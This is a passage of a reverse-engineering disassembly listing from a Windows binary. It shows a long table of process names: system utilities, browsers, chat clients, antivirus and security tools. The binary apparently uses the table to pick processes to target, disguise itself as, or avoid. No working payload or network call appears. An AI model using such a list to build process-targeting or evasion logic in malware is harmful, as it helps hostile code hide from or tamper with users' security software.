dword_43F8B4 dd offset dword_43F8A8 dd offset dword_43F89C dd offset dword_43F894 dd offset dword_43F884 dd offset dword_43F874 dd offset aIexplore_exe ; "iexplore.exe" dd offset dword_43F868 dd offset dword_43F85C dd offset dword_43F84C dd offset dword_43F83C dd offset aNotepad_exe_0 ; "notepad.exe" dd offset aWvsscheduler_e ; "WVSScheduler.exe" dd offset dword_43F81C dd offset dword_43F80C dd offset dword_43F7FC dd offset dword_43F7F0 dd offset dword_43F7E4 dd offset loc_43F7DB+1 ; --------------------------------------------------------------------------- sal bh, 1 inc ebx add ah, al test dword ptr [ebx+0], offset aApache_exe ; "apache.exe" lodsb test dword ptr [ebx+0], 43F7A4h xchg eax, esp loc_43F75D: ; CODE XREF: .text:0043F764j test dword ptr [ebx+0], offset dword_43F788 jl short loc_43F75D inc ebx add [edi+esi*8+43h], ch add [edi+6Dh], dh jo short near ptr loc_43F7DB+1 popa jns short loc_43F7D8 jb short loc_43F7A3 ; --------------------------------------------------------------------------- db 65h, 78h, 65h dd 0 dd 726E6977h, 652E7261h, 6578h dword_43F788 dd 69766F6Dh, 2E6B6D65h, 657865h, 61677661h, 7276736Dh ; DATA XREF: .text:loc_43F75Do dd 6578652Eh db 3 dup(0) ; --------------------------------------------------------------------------- loc_43F7A3: ; CODE XREF: .text:0043F773j add [ecx+76h], ah arpl [bp+di+0], sp ; --------------------------------------------------------------------------- dw 0 aAvgupsvc db 'avgupsvc',0 align 4 aApache_exe db 'apache.exe',0 ; DATA XREF: .text:0043F74Do align 4 aNmap_exe db 'nmap.exe',0 align 10h dd 74747570h, 78652E79h ; --------------------------------------------------------------------------- loc_43F7D8: ; CODE XREF: .text:0043F771j add gs:[eax], al loc_43F7DB: ; CODE XREF: .text:0043F76Ej ; DATA XREF: .text:0043F744o add [edx], ch db 2Eh jnb short loc_43F843 jb short $+2 ; --------------------------------------------------------------------------- dw 0 dword_43F7E4 dd 7A6E6977h, 652E7069h, 6578hdword_43F7F0 dd 65747563h, 2E707466h, 657865hdword_43F7FC dd 73616C66h, 70786668h, 6578652Eh, 0dword_43F80C dd 54616554h, 72656D69h, 6578652Eh, 0dword_43F81C dd 7253534Ch, 652E6376h, 6578haWvsscheduler_e db 'WVSScheduler.exe',0 ; DATA XREF: .text:0043F72Co align 4 dword_43F83C dd 6E706D77h db 73h, 63h, 66h ; --------------------------------------------------------------------------- loc_43F843: ; CODE XREF: .text:0043F7DDj db 67h, 2Eh, 65h js near ptr 0F8ADh ; --------------------------------------------------------------------------- dd 0 dword_43F84C dd 4F545541h, 43455845h, 5441422Eh, 0dword_43F85C dd 61657473h, 78652E6Dh, 65hdword_43F868 dd 64726F77h, 2E646170h, 657865hdword_43F874 dd 65736363h, 72676D74h, 6578652Eh, 0dword_43F884 dd 76656363h, 72676D74h, 6578652Eh, 0dword_43F894 dd 2E6D6961h, 657865hdword_43F89C dd 70616363h, 78652E70h, 65hdword_43F8A8 dd 73767472h, 2E6E6163h, 657865hdword_43F8B4 dd 77666564h, 68637461h, 6578652Eh, 0dword_43F8C4 dd 656F736Dh, 6578652Eh, 0dword_43F8D0 dd 6D69736Dh, 78652E6Eh, 65haThunderbird_ex db 'thunderbird.exe',0 ; DATA XREF: .text:0043F6F0o aFirefox_exe db 'firefox.exe',0 ; DATA XREF: .text:0043F6ECo aXchat_exe db 'xchat.exe',0 ; DATA XREF: .text:0043F6E8o align 4 aMirc_exe db 'mirc.exe',0 ; DATA XREF: .text:0043F6E4o align 10h aMsmsgs_exe db 'msmsgs.exe',0 ; DATA XREF: .text:0043F6E0o align 4 aWmiprvse_exe db 'wmiprvse.exe',0 ; DATA XREF: .text:0043F6DCo align 4 aMsnmsgr_exe db 'msnmsgr.exe',0 ; DATA XREF: .text:0043F6D8o aMsxml32_exe db 'msxml32.exe',0 ; DATA XREF: .text:0043F6D4o aWmpcodecs_exe db 'wmpcodecs.exe',0 ; DATA XREF: .text:0043F6D0o align 4 aSound_exe db '*sound*.exe',0 ; DATA XREF: .text:0043F6C0o aHtpatch_exe db 'htpatch.exe',0 ; DATA XREF: .text:0043F6B0o aWinhelp_exe db 'winhelp.exe',0 ; DATA XREF: .text:0043F6A4o aTaskman_exe db 'TASKMAN.EXE',0 ; DATA XREF: .text:0043F698o aSt6unst_exe db 'ST6UNST.EXE',0 ; DATA XREF: .text:0043F694o aSoundman_exe db 'SOUNDMAN.EXE',0 ; DATA XREF: .text:0043F690o align 10h aSetup1_exe db 'Setup1.exe',0 ; DATA XREF: .text:0043F68Co align 4 aSetdebug_exe db 'setdebug.exe',0 ; DATA XREF: .text:0043F688o align 4 aRegtlib_exe db 'REGTLIB.EXE',0 ; DATA XREF: .text:0043F684o aRegedit_exe db 'regedit.exe',0 ; DATA XREF: .text:0043F680o aNotepad_exe db 'NOTEPAD.EXE',0 ; DATA XREF: .text:0043F67Co aIun6002_exe db 'iun6002.exe',0 ; DATA XREF: .text:0043F678o aIsuninst_exe db 'IsUninst.exe',0 ; DATA XREF: .text:0043F674o align 4 aHh_exe db 'hh.exe',0 ; DATA XREF: .text:0043F670o align 4 aExplorer_exe_0 db 'explorer.exe',0 ; DATA XREF: sub_41F455+85o ; .text:0043F66Co align 4 aAlcupd_exe db 'alcupd.exe',0 ; DATA XREF: .text:0043F668o align 10h aAlcrmv_exe db 'alcrmv.exe',0 ; DATA XREF: .text:0043F664o align 4 aRtlupd_exe db 'RtlUpd.exe',0 ; DATA XREF: .text:0043F660o align 4 aMiccal_exe db 'MicCal.exe',0 ; DATA XREF: .text:0043F65Co align 4 aRthdcpl_exe db 'RTHDCPL.EXE',0 ; DATA XREF: .text:0043F654o aAlcwzrd_exe db 'ALCWZRD.EXE',0 ; DATA XREF: .text:0043F64Co aAlcmtr_exe db 'ALCMTR.EXE',0 ; DATA XREF: .text:0043F648o align 4 aSlsvc_exe db 'slsvc.exe',0 ; DATA XREF: .text:0043F638o align 4 aSdclt_exe db 'sdclt.exe',0 ; DATA XREF: .text:0043F634o align 10h aRegsvc_exe db 'regsvc.exe',0 ; DATA XREF: .text:0043F630o align 4 aMssearch_exe db 'mssearch.exe',0 ; DATA XREF: .text:0043F62Co align 4 aMdm_exe db 'mdm.exe',0 ; DATA XREF: .text:0043F628o aLsm_exe db 'lsm.exe',0 ; DATA XREF: .text:0043F624o aDwm_exe db 'dwm.exe',0 ; DATA XREF: .text:0043F620o aLexbces_exe db 'lexbces.exe',0 ; DATA XREF: .text:0043F61Co aLoadqm_exe db 'loadqm.exe',0 ; DATA XREF: .text:0043F618o align 4 aSmax4pnp_exe db 'smax4pnp.exe',0 ; DATA XREF: .text:0043F614o ; .text:0043F6BCo align 4 aTphkmgr_exe db 'TPHKMGR.exe',0 ; DATA XREF: .text:0043F610o aCli_exe db 'cli.exe',0 ; DATA XREF: .text:0043F60Co aHpzipm12_exe db 'HPZipm12.exe',0 ; DATA XREF: .text:0043F608o align 10h aNhksrv_exe db 'nhksrv.exe',0 ; DATA XREF: .text:0043F604o align 4 aHpcmpmgr_exe db 'hpcmpmgr.exe',0 ; DATA XREF: .text:0043F600o align 4 aHpsysdrv_exe db 'hpsysdrv.exe',0 ; DATA XREF: .text:0043F5FCo align 4 aNmssvc_exe db 'nmssvc.exe',0 ; DATA XREF: .text:0043F5F8o align 4 aSmagent_exe db 'smagent.exe',0 ; DATA XREF: .text:0043F5F4o ; .text:0043F6B8o aMstask_exe db 'mstask.exe',0 ; DATA XREF: .text:0043F5F0o align 10h aPctspk_exe db 'pctspk.exe',0 ; DATA XREF: .text:0043F5ECo align 4 aIgfxtray_exe db 'igfxtray.exe',0 ; DATA XREF: .text:0043F5E8o align 4 aIgfxpers_exe db 'igfxpers.exe',0 ; DATA XREF: .text:0043F5E4o align 4 aInetinfo_exe db 'inetinfo.exe',0 ; DATA XREF: .text:0043F5E0o align 4 aCrypserv_exe db 'crypserv.exe',0 ; DATA XREF: .text:0043F5DCo align 4 aWisptis_exe db 'wisptis.exe',0 ; DATA XREF: .text:0043F5D8o aQttask_exe db 'qttask.exe',0 ; DATA XREF: .text:0043F5D4o align 4 aPoint32_exe db 'point32.exe',0 ; DATA XREF: .text:0043F5D0o ; .text:0043F6B4o aJusched_exe db 'jusched.exe',0 ; DATA XREF: .text:0043F5CCo aHotkey_exe db 'hotkey.exe',0 ; DATA XREF: .text:0043F5C8o align 4 aHkcmd_exe db 'hkcmd.exe',0 ; DATA XREF: .text:0043F5C4o align 4 aTaskeng_exe db 'taskeng.exe',0 ; DATA XREF: .text:0043F5C0o aWercon_exe db 'wercon.exe',0 ; DATA XREF: .text:0043F5BCo align 4 aWinmgmt_exe db 'winmgmt.exe',0 ; DATA XREF: .text:0043F5B8o aWmiexe_exe db 'wmiexe.exe',0 ; DATA XREF: .text:0043F5B4o align 4 aPenservice_exe db 'penservice.exe',0 ; DATA XREF: .text:0043F5B0o align 4 aWudfhost_exe db 'WUDFHost.exe',0 ; DATA XREF: .text:0043F5ACo align 4 aInternat_exe db 'internat.exe',0 ; DATA XREF: .text:0043F5A4o align 4 aDevldr32_exe db 'devldr32.exe',0 ; DATA XREF: .text:0043F5A0o align 4 aSystem_2 db 'System',0 ; DATA XREF: .text:0043F59Co ; .text:0043F6ACo align 4 aSstext3d_scr db 'sstext3d.scr',0 ; DATA XREF: .text:0043F598o align 4 aSsstars_scr db 'ssstars.scr',0 ; DATA XREF: .text:0043F594o aSspipes_scr db 'sspipes.scr',0 ; DATA XREF: .text:0043F590o aSsmyst_scr db 'ssmyst.scr',0 ; DATA XREF: .text:0043F58Co align 10h aSsmypics_scr db 'ssmypics.scr',0 ; DATA XREF: .text:0043F588o align 10h aSsmarque_scr db 'ssmarque.scr',0 ; DATA XREF: .text:0043F584o align 10h aSsflwbox_scr db 'ssflwbox.scr',0 ; DATA XREF: .text:0043F580o align 10h aSsbezier_scr db 'ssbezier.scr',0 ; DATA XREF: .text:0043F57Co align 10h aSs3dfo_scr db 'ss3dfo.scr',0 ; DATA XREF: .text:0043F578o align 4 aSeismosaver_sc db 'SeismoSaver.scr',0 ; DATA XREF: .text:0043F574o aScrnsave_scr db 'scrnsave.scr',0 ; DATA XREF: .text:0043F570o align 4 aLogon_scr db 'logon.scr',0 ; DATA XREF: .text:0043F56Co align 4 aAcdsee_scr db 'ACDSee.scr',0 ; DATA XREF: .text:0043F568o align 4 aXcopy_exe db 'xcopy.exe',0 ; DATA XREF: .text:0043F564o align 10h aWupdmgr_exe db 'wupdmgr.exe',0 ; DATA XREF: .text:0043F560o aWuauclt1_exe db 'wuauclt1.exe',0 ; DATA XREF: .text:0043F55Co align 4 aWuauclt_exe db 'wuauclt.exe',0 ; DATA XREF: .text:0043F558o aWscript_exe db 'wscript.exe',0 ; DATA XREF: .text:0043F554o aWscntfy_exe db 'wscntfy.exe',0 ; DATA XREF: .text:0043F550o aWrite_exe db 'write.exe',0 ; DATA XREF: .text:0043F54Co align 4 aWpnpinst_exe db 'wpnpinst.exe',0 ; DATA XREF: .text:0043F548o align 4 aWpabaln_exe db 'wpabaln.exe',0 ; DATA XREF: .text:0043F544o aWowexec_exe db 'wowexec.exe',0 ; DATA XREF: .text:0043F540o aWowdeb_exe db 'wowdeb.exe',0 ; DATA XREF: .text:0043F53Co align 10h aWjview_exe db 'wjview.exe',0 ; DATA XREF: .text:0043F538o align 4 aWinver_exe db 'winver.exe',0 ; DATA XREF: .text:0043F534o align 4 aWinspool_exe db 'winspool.exe',0 ; DATA XREF: .text:0043F530o align 4 aWinmsd_exe db 'winmsd.exe',0 ; DATA XREF: .text:0043F52Co align 4 aWinmine_exe db 'winmine.exe',0 ; DATA XREF: .text:0043F528o aWinhlp32_exe db 'winhlp32.exe',0 ; DATA XREF: .text:0043F524o ; .text:0043F6A8o align 10h aWindbver_exe db 'WINDBVER.EXE',0 ; DATA XREF: .text:0043F520o align 10h aWinchat_exe db 'winchat.exe',0 ; DATA XREF: .text:0043F51Co aWiaacmgr_exe db 'wiaacmgr.exe',0 ; DATA XREF: .text:0043F518o align 4 aWextract_exe db 'wextract.exe',0 ; DATA XREF: .text:0043F514o align 4 aW32tm_exe db 'w32tm.exe',0 ; DATA XREF: .text:0043F510o align 4 aVwipxspx_exe db 'vwipxspx.exe',0 ; DATA XREF: .text:0043F50Co align 4 aVssvc_exe db 'vssvc.exe',0 ; DATA XREF: .text:0043F508o align 4 aVssadmin_exe db 'vssadmin.exe',0 ; DATA XREF: .text:0043F504o align 4 aViral_exe db 'viral.exe',0 ; DATA XREF: .text:0043F500o align 10h aVerifier_exe db 'verifier.exe',0 ; DATA XREF: .text:0043F4FCo align 10h aVerclsid_exe db 'verclsid.exe',0 ; DATA XREF: .text:0043F4F8o align 10h aUtilman_exe db 'utilman.exe',0 ; DATA XREF: .text:0043F4F4o aUsrshuta_exe db 'usrshuta.exe',0 ; DATA XREF: .text:0043F4F0o align 4 aUsrprbda_exe db 'usrprbda.exe',0 ; DATA XREF: .text:0043F4ECo align 4 aUsrmlnka_exe db 'usrmlnka.exe',0 ; DATA XREF: .text:0043F4E8o align 4 aUserinit_exe db 'userinit.exe',0 ; DATA XREF: .text:0043F4E4o align 4 aUser_exe db 'user.exe',0 ; DATA XREF: .text:0043F4E0o align 4 aUps_exe db 'ups.exe',0 ; DATA XREF: .text:0043F4DCo aUpnpcont_exe db 'upnpcont.exe',0 ; DATA XREF: .text:0043F4D8o align 10h aUnlodctr_exe db 'unlodctr.exe',0 ; DATA XREF: .text:0043F4D4o align 10h aTypeperf_exe db 'typeperf.exe',0 ; DATA XREF: .text:0043F4D0o align 10h aTwunk_32_exe db 'twunk_32.exe',0 ; DATA XREF: .text:0043F4CCo ; .text:0043F6A0o align 10h aTwunk_16_exe db 'twunk_16.exe',0 ; DATA XREF: .text:0043F4C8o ; .text:0043F69Co align 10h aTsshutdn_exe db 'tsshutdn.exe',0 ; DATA XREF: .text:0043F4C4o align 10h aTskill_exe db 'tskill.exe',0 ; DATA XREF: .text:0043F4C0o align 4 aTsdiscon_exe db 'tsdiscon.exe',0 ; DATA XREF: .text:0043F4BCo align 4 aTscupgrd_exe db 'tscupgrd.exe',0 ; DATA XREF: .text:0043F4B8o align 4 aTscon_exe db 'tscon.exe',0 ; DATA XREF: .text:0043F4B4o align 4 aTracert6_exe db 'tracert6.exe',0 ; DATA XREF: .text:0043F4B0o align 4 aTracert_exe db 'tracert.exe',0 ; DATA XREF: .text:0043F4ACo aTracerpt_exe db 'tracerpt.exe',0 ; DATA XREF: .text:0043F4A8o align 4 aTourstart_exe db 'tourstart.exe',0 ; DATA XREF: .text:0043F4A4o align 4 aTlntsvr_exe db 'tlntsvr.exe',0 ; DATA XREF: .text:0043F4A0o aTlntsess_exe db 'tlntsess.exe',0 ; DATA XREF: .text:0043F49Co align 10h aTlntadmn_exe db 'tlntadmn.exe',0 ; DATA XREF: .text:0043F498o align 10h aTftp_exe db 'tftp.exe',0 ; DATA XREF: .text:0043F494o align 4 aTelnet_exe db 'telnet.exe',0 ; DATA XREF: .text:0043F490o align 4 aTcpsvcs_exe db 'tcpsvcs.exe',0 ; DATA XREF: .text:0043F48Co aTcmsetup_exe db 'tcmsetup.exe',0 ; DATA XREF: .text:0043F488o align 4 aTaskmgr_exe db 'taskmgr.exe',0 ; DATA XREF: .text:0043F484o aTaskman_exe_0 db 'taskman.exe',0 ; DATA XREF: .text:0043F480o aTasklist_exe db 'tasklist.exe',0 ; DATA XREF: .text:0043F47Co ; .text:off_4473CCo ... align 4 aTaskkill_exe db 'taskkill.exe',0 ; DATA XREF: .text:0043F478o align 4 aSystray_exe db 'systray.exe',0 ; DATA XREF: .text:off_432E04o ; .text:0043F474o aSysteminfo_exe db 'systeminfo.exe',0 ; DATA XREF: .text:0043F470o align 4 aSysocmgr_exe db 'sysocmgr.exe',0 ; DATA XREF: .text:0043F46Co align 4 aSyskey_exe db 'syskey.exe',0 ; DATA XREF: .text:0043F468o align 4 aSysedit_exe db 'sysedit.exe',0 ; DATA XREF: .text:0043F464o aSyncapp_exe db 'syncapp.exe',0 ; DATA XREF: .text:0043F460o aSvchost_exe db 'svchost.exe',0 ; DATA XREF: .text:0043F45Co aSubst_exe db 'subst.exe',0 ; DATA XREF: .text:0043F458o align 4 aSubrange_uce db 'subrange.uce',0 ; DATA XREF: .text:0043F454o align 4 aStimon_exe db 'stimon.exe',0 ; DATA XREF: .text:0043F450o align 10h aSpupdsvc_exe db 'spupdsvc.exe',0 ; DATA XREF: .text:0043F44Co align 10h aSprestrt_exe db 'sprestrt.exe',0 ; DATA XREF: .text:0043F448o align 10h aSpoolsv_exe db 'spoolsv.exe',0 ; DATA XREF: .text:0043F444o aSpnpinst_exe db 'spnpinst.exe',0 ; DATA XREF: .text:0043F440o align 4 aSpiisupd_exe db 'spiisupd.exe',0 ; DATA XREF: .text:0043F43Co align 4 aSpider_exe db 'spider.exe',0 ; DATA XREF: .text:0043F438o align 4 aSort_exe db 'sort.exe',0 ; DATA XREF: .text:0043F434o align 4 aSol_exe db 'sol.exe',0 ; DATA XREF: .text:0043F430o aSndvol32_exe db 'sndvol32.exe',0 ; DATA XREF: .text:0043F42Co align 4 aSndrec32_exe db 'sndrec32.exe',0 ; DATA XREF: .text:0043F428o align 4 aSmss_exe db 'smss.exe',0 ; DATA XREF: .text:0043F424o align 4 aSmlogsvc_exe db 'smlogsvc.exe',0 ; DATA XREF: .text:0043F420o align 4 aSmbinst_exe db 'smbinst.exe',0 ; DATA XREF: .text:0043F41Co aSkeys_exe db 'skeys.exe',0 ; DATA XREF: .text:0043F418o align 10h aSigverif_exe db 'sigverif.exe',0 ; DATA XREF: .text:0043F414o align 10h aShutdown_exe db 'shutdown.exe',0 ; DATA XREF: .text:0043F410o align 10h aShrpubw_exe db 'shrpubw.exe',0 ; DATA XREF: .text:0043F40Co aShmgrate_exe db 'shmgrate.exe',0 ; DATA XREF: .text:0043F408o align 4 aShare_exe db 'share.exe',0 ; DATA XREF: .text:0043F404o align 4 aShadow_exe db 'shadow.exe',0 ; DATA XREF: .text:0043F400o align 4 aSfc_exe db 'sfc.exe',0 ; DATA XREF: .text:0043F3FCo aSetver_exe db 'setver.exe',0 ; DATA XREF: .text:0043F3F8o align 4 aSetup_exe db 'setup.exe',0 ; DATA XREF: .text:0043F3F4o align 4 aSethc_exe db 'sethc.exe',0 ; DATA XREF: .text:0043F3F0o align 10h aSessmgr_exe db 'sessmgr.exe',0 ; DATA XREF: .text:0043F3ECo aServices_exe db 'services.exe',0 ; DATA XREF: .text:0043F3E8o align 4 aSecedit_exe db 'secedit.exe',0 ; DATA XREF: .text:0043F3E4o aSdbinst_exe db 'sdbinst.exe',0 ; DATA XREF: .text:0043F3E0o aSchtasks_exe db 'schtasks.exe',0 ; DATA XREF: .text:0043F3DCo align 4 aScardsvr_exe db 'scardsvr.exe',0 ; DATA XREF: .text:0043F3D8o align 4 aSc_exe db 'sc.exe',0 ; DATA XREF: .text:0043F3D4o align 4 aSavedump_exe db 'savedump.exe',0 ; DATA XREF: .text:0043F3D0o align 4 aRwinsta_exe db 'rwinsta.exe',0 ; DATA XREF: .text:0043F3CCo aRunonce_exe db 'runonce.exe',0 ; DATA XREF: .text:0043F3C8o aRundll32_exe db 'rundll32.exe',0 ; DATA XREF: .text:0043F3C4o align 4 aRunas_exe db 'runas.exe',0 ; DATA XREF: .text:0043F3C0o align 10h aRtlcpl_exe db 'RTLCPL.EXE',0 ; DATA XREF: .text:0043F3BCo ; .text:0043F658o align 4 aRtcshare_exe db 'rtcshare.exe',0 ; DATA XREF: .text:0043F3B8o align 4 aRsvp_exe db 'rsvp.exe',0 ; DATA XREF: .text:0043F3B4o align 4 aRsopprov_exe db 'rsopprov.exe',0 ; DATA XREF: .text:0043F3B0o align 4 aRsnotify_exe db 'rsnotify.exe',0 ; DATA XREF: .text:0043F3ACo align 4 aRsmui_exe db 'rsmui.exe',0 ; DATA XREF: .text:0043F3A8o align 4 aRsmsink_exe db 'rsmsink.exe',0 ; DATA XREF: .text:0043F3A4o aRsm_exe db 'rsm.exe',0 ; DATA XREF: .text:0043F3A0o aRsh_exe db 'rsh.exe',0 ; DATA XREF: .text:0043F39Co aRoutemon_exe db 'routemon.exe',0 ; DATA XREF: .text:0043F398o align 10h aRoute_exe db 'route.exe',0 ; DATA XREF: .text:0043F394o align 4 aRexec_exe db 'rexec.exe',0 ; DATA XREF: .text:0043F390o align 4 aReset_exe db 'reset.exe',0 ; DATA XREF: .text:0043F38Co align 4 aReplace_exe db 'replace.exe',0 ; DATA XREF: .text:0043F388o aRelog_exe db 'relog.exe',0 ; DATA XREF: .text:0043F384o align 4 aRegwiz_exe db 'regwiz.exe',0 ; DATA XREF: .text:0043F380o align 4 aRegsvr32_exe db 'regsvr32.exe',0 ; DATA XREF: .text:0043F37Co align 4 aRegini_exe db 'regini.exe',0 ; DATA XREF: .text:0043F378o align 4 aRegedt32_exe db 'regedt32.exe',0 ; DATA XREF: .text:0043F374o align 4 aRegcladm_exe db 'REGCLADM.EXE',0 ; DATA XREF: .text:0043F370o align 4 aReg_exe db 'reg.exe',0 ; DATA XREF: .text:0043F36Co aRedir_exe db 'redir.exe',0 ; DATA XREF: .text:0043F368o align 4 aRecover_exe db 'recover.exe',0 ; DATA XREF: .text:0043F364o aRdshost_exe db 'rdshost.exe',0 ; DATA XREF: .text:0043F360o aRdsaddin_exe db 'rdsaddin.exe',0 ; DATA XREF: .text:0043F35Co align 10h aRdpclip_exe db 'rdpclip.exe',0 ; DATA XREF: .text:0043F358o aRcp_exe db 'rcp.exe',0 ; DATA XREF: .text:0043F354o aRcimlby_exe db 'rcimlby.exe',0 ; DATA XREF: .text:0043F350o aRasphone_exe db 'rasphone.exe',0 ; DATA XREF: .text:0043F34Co align 10h aRasdial_exe db 'rasdial.exe',0 ; DATA XREF: .text:0043F348o aRasautou_exe db 'rasautou.exe',0 ; DATA XREF: .text:0043F344o align 4 aQwinsta_exe db 'qwinsta.exe',0 ; DATA XREF: .text:0043F340o aQprocess_exe db 'qprocess.exe',0 ; DATA XREF: .text:0043F33Co align 4 aQappsrv_exe db 'qappsrv.exe',0 ; DATA XREF: .text:0043F338o aProxycfg_exe db 'proxycfg.exe',0 ; DATA XREF: .text:0043F334o align 4 aProquota_exe db 'proquota.exe',0 ; DATA XREF: .text:0043F330o align 4 aProgman_exe db 'progman.exe',0 ; DATA XREF: .text:0043F32Co aPrint_exe db 'print.exe',0 ; DATA XREF: .text:0043F328o align 4 aPowercfg_exe db 'powercfg.exe',0 ; DATA XREF: .text:0043F324o align 4 aPing6_exe db 'ping6.exe',0 ; DATA XREF: .text:0043F320o align 4 aPing_exe db 'ping.exe',0 ; DATA XREF: .text:0043F31Co align 4 aPerfmon_exe db 'perfmon.exe',0 ; DATA XREF: .text:0043F318o aPentnt_exe db 'pentnt.exe',0 ; DATA XREF: .text:0043F314o align 4 aPathping_exe db 'pathping.exe',0 ; DATA XREF: .text:0043F310o align 4 aPackager_exe db 'packager.exe',0 ; DATA XREF: .text:0043F30Co align 4 aOsuninst_exe db 'osuninst.exe',0 ; DATA XREF: .text:0043F308o align 4 aOsk_exe db 'osk.exe',0 ; DATA XREF: .text:0043F304o aOpenfiles_exe db 'openfiles.exe',0 ; DATA XREF: .text:0043F300o align 4 aOdbcconf_exe db 'odbcconf.exe',0 ; DATA XREF: .text:0043F2FCo align 4 aOdbcad32_exe db 'odbcad32.exe',0 ; DATA XREF: .text:0043F2F8o align 4 aNwscript_exe db 'nwscript.exe',0 ; DATA XREF: .text:0043F2F4o align 4 aNw16_exe db 'nw16.exe',0 ; DATA XREF: .text:0043F2F0o align 10h aNtvdm_exe db 'ntvdm.exe',0 ; DATA XREF: .text:0043F2ECo align 4 aNtsd_exe db 'ntsd.exe',0 ; DATA XREF: .text:0043F2E8o align 4 aNtoskrnl_exe db 'ntoskrnl.exe',0 ; DATA XREF: .text:0043F2E4o align 4 aNtkrnlpa_exe db 'ntkrnlpa.exe',0 ; DATA XREF: .text:0043F2E0o align 4 aNtbackup_exe db 'ntbackup.exe',0 ; DATA XREF: .text:0043F2DCo align 4 aNslookup_exe db 'nslookup.exe',0 ; DATA XREF: .text:0043F2D8o align 4 aNotepad_exe_0 db 'notepad.exe',0 ; DATA XREF: .text:0043F2D4o ; .text:0043F728o aNlsfunc_exe db 'nlsfunc.exe',0 ; DATA XREF: .text:0043F2D0o aNetstat_exe db 'netstat.exe',0 ; DATA XREF: .text:0043F2CCo aNetsh_exe db 'netsh.exe',0 ; DATA XREF: .text:0043F2C8o align 4 aNetsetup_exe db 'netsetup.exe',0 ; DATA XREF: .text:0043F2C4o align 4 aNetdde_exe db 'netdde.exe',0 ; DATA XREF: .text:0043F2C0o align 4 aNet1_exe db 'net1.exe',0 ; DATA XREF: .text:0043F2BCo align 10h aNet_exe db 'net.exe',0 ; DATA XREF: .text:0043F2B8o aNerocheck_exe db 'NeroCheck.exe',0 ; DATA XREF: .text:0043F2B4o align 4 aNddeapir_exe db 'nddeapir.exe',0 ; DATA XREF: .text:0043F2B0o align 4 aNbtstat_exe db 'nbtstat.exe',0 ; DATA XREF: .text:0043F2ACo aNarrator_exe db 'narrator.exe',0 ; DATA XREF: .text:0043F2A8o align 4 aMstsc_exe db 'mstsc.exe',0 ; DATA XREF: .text:0043F2A4o align 10h aMstinit_exe db 'mstinit.exe',0 ; DATA XREF: .text:0043F2A0o aMsswchx_exe db 'msswchx.exe',0 ; DATA XREF: .text:0043F29Co aMspaint_exe db 'mspaint.exe',0 ; DATA XREF: .text:0043F298o aMsiexec_exe db 'msiexec.exe',0 ; DATA XREF: .text:0043F294o aMshta_exe db 'mshta.exe',0 ; DATA XREF: .text:0043F290o align 4 aMshearts_exe db 'mshearts.exe',0 ; DATA XREF: .text:0043F28Co align 4 aMsg_exe db 'msg.exe',0 ; DATA XREF: .text:0043F288o aMsdtc_exe db 'msdtc.exe',0 ; DATA XREF: .text:0043F284o align 10h aMscdexnt_exe db 'mscdexnt.exe',0 ; DATA XREF: .text:0043F280o align 10h aMrt_exe db 'MRT.exe',0 ; DATA XREF: .text:0043F27Co aMrinfo_exe db 'mrinfo.exe',0 ; DATA XREF: .text:0043F278o align 4 aMqtgsvc_exe db 'mqtgsvc.exe',0 ; DATA XREF: .text:0043F274o aMqsvc_exe db 'mqsvc.exe',0 ; DATA XREF: .text:0043F270o align 4 aMqbkup_exe db 'mqbkup.exe',0 ; DATA XREF: .text:0043F26Co align 4 aMpnotify_exe db 'mpnotify.exe',0 ; DATA XREF: .text:0043F268o align 4 aMplay32_exe db 'mplay32.exe',0 ; DATA XREF: .text:0043F264o aMountvol_exe db 'mountvol.exe',0 ; DATA XREF: .text:0043F260o align 4 aMobsync_exe db 'mobsync.exe',0 ; DATA XREF: .text:0043F25Co aMnmsrvc_exe db 'mnmsrvc.exe',0 ; DATA XREF: .text:0043F258o aMmc_exe db 'mmc.exe',0 ; DATA XREF: .text:0043F254o aMigpwd_exe db 'migpwd.exe',0 ; DATA XREF: .text:0043F250o align 10h aMem_exe db 'mem.exe',0 ; DATA XREF: .text:0043F24Co aMakecab_exe db 'makecab.exe',0 ; DATA XREF: .text:0043F248o aMagnify_exe db 'magnify.exe',0 ; DATA XREF: .text:0043F244o aLsass_exe db 'lsass.exe',0 ; DATA XREF: .text:0043F240o align 4 aLpr_exe db 'lpr.exe',0 ; DATA XREF: .text:0043F23Co aLpq_exe db 'lpq.exe',0 ; DATA XREF: .text:0043F238o aLogonui_exe db 'logonui.exe',0 ; DATA XREF: .text:0043F234o aLogoff_exe db 'logoff.exe',0 ; DATA XREF: .text:0043F230o align 4 aLogman_exe db 'logman.exe',0 ; DATA XREF: .text:0043F22Co align 10h aLogagent_exe db 'logagent.exe',0 ; DATA XREF: .text:0043F228o align 10h aLodctr_exe db 'lodctr.exe',0 ; DATA XREF: .text:0043F224o align 4 aLocator_exe db 'locator.exe',0 ; DATA XREF: .text:0043F220o aLnkstub_exe db 'lnkstub.exe',0 ; DATA XREF: .text:0043F21Co aLights_exe db 'lights.exe',0 ; DATA XREF: .text:0043F218o align 10h aLabel_exe db 'label.exe',0 ; DATA XREF: .text:0043F214o align 4 aKrnl386_exe db 'krnl386.exe',0 ; DATA XREF: .text:0043F210o aJview_exe db 'jview.exe',0 ; DATA XREF: .text:0043F20Co align 4 aJdbgmgr_exe db 'jdbgmgr.exe',0 ; DATA XREF: .text:0043F208o aJavaws_exe db 'javaws.exe',0 ; DATA XREF: .text:0043F204o align 4 aJavaw_exe db 'javaw.exe',0 ; DATA XREF: .text:0043F200o align 4 aJava_exe db 'java.exe',0 ; DATA XREF: .text:0043F1FCo align 4 aIpxroute_exe db 'ipxroute.exe',0 ; DATA XREF: .text:0043F1F8o align 4 aIpv6_exe db 'ipv6.exe',0 ; DATA XREF: .text:0043F1F4o align 10h aIpsec6_exe db 'ipsec6.exe',0 ; DATA XREF: .text:0043F1F0o align 4 aIpconfig_exe db 'ipconfig.exe',0 ; DATA XREF: .text:0043F1ECo align 4 aImapi_exe db 'imapi.exe',0 ; DATA XREF: .text:0043F1E8o align 4 aIexpress_exe db 'iexpress.exe',0 ; DATA XREF: .text:0043F1E4o align 4 aIe4uinit_exe db 'ie4uinit.exe',0 ; DATA XREF: .text:0043F1E0o align 4 aHostname_exe db 'hostname.exe',0 ; DATA XREF: .text:0043F1DCo align 4 aHelp_exe db 'help.exe',0 ; DATA XREF: .text:0043F1D8o align 4 aGrpconv_exe db 'grpconv.exe',0 ; DATA XREF: .text:0043F1D4o aGpupdate_exe db 'gpupdate.exe',0 ; DATA XREF: .text:0043F1D0o align 10h aGpresult_exe db 'gpresult.exe',0 ; DATA XREF: .text:0043F1CCo align 10h aGetmac_exe db 'getmac.exe',0 ; DATA XREF: 